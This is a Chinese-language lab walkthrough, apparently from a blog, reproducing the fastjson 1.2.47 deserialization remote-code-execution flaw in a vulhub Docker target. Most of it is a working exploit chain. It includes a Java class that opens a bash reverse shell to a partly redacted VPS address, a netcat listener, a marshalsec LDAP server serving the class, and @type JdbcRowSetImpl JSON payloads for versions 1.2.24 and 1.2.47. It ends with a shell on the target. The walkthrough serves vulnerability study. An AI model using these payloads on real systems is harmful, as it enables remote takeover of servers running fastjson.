fastjson反序列化漏洞复现
详细描述
fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。
复现环境
42.xx.xx.158 靶机ip
27.xx.xx.220 vps java版本1.8.0_261
win10 burp抓包执行poc
漏洞复现
1、靶机环境安装
//42.xx.xx.158下载vulhub环境
git clone https://github.com/vulhub/vulhub.git
image.png
2、靶机环境部署过程
//进入fastjson漏洞环境目录
ls
cd vulhub/
cd fastjson/
cd 1.2.47-rce/
image.png
3、靶机生成docker环境
//进入fastjson漏洞环境目录下执行,默认端口为8090
docker-compose up -d
docker ps
image.png
4、靶机环境搭建成功
//访问靶机
http://42.xx.xx.158:8090/
image.png
5、vps下载marshalsec
地址:https://github.com/mbechler/marshalsec
//进入marshalsec-master目录
cd /tmp/marshalsec-master/
//使用maven编译jar包
mvn clean package -DskipTests
image.png
6、vps marshalsec编译成功
image.png
7、成功生成marshalsec-0.0.3-SNAPSHOT-all.jar
image.png
8、vps监听端口
nc -lvvp 6666
image.png
9、EXP源代码,保存为test.java
// bash -i >& /dev/tcp/27.xx.xx.220/6666 0>&1 这里的ip是vps,以及vps监听的端口6666
import java.lang.Runtime;
import java.lang.Process;
public class test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/27.xx.xx.220/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
10、javac编译生成test.class文件
javac test.java
image.png
11、把test.class复制到/root目录下
image.png
12、使用python搭建一个临时的web服务
python2 -m SimpleHTTPServer 8445
image.png
13、访问http://27.xx.xx.220:8445/
14、vps启动LDAP服务,监听1389端口,并制定加载远程类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://27.xx.xx.220:8445/#test" 1389
image.png
15、fastjson反序列化漏洞poc
// ldap://27.xx.xx.220:1389/test vpsip,LDAP监听端口1389,test恶意test.class
// 1.2.24版本poc
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://27.xx.xx.220:1389/test",
"autoCommit":true
}
}
// 1.2.47版本poc
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://27.xx.xx.220:1389/test",
"autoCommit":true
}
}
16、burp抓包执行poc
image.png
17、反弹成功,获取靶机docker
image.png
仅供学习使用!!
网友评论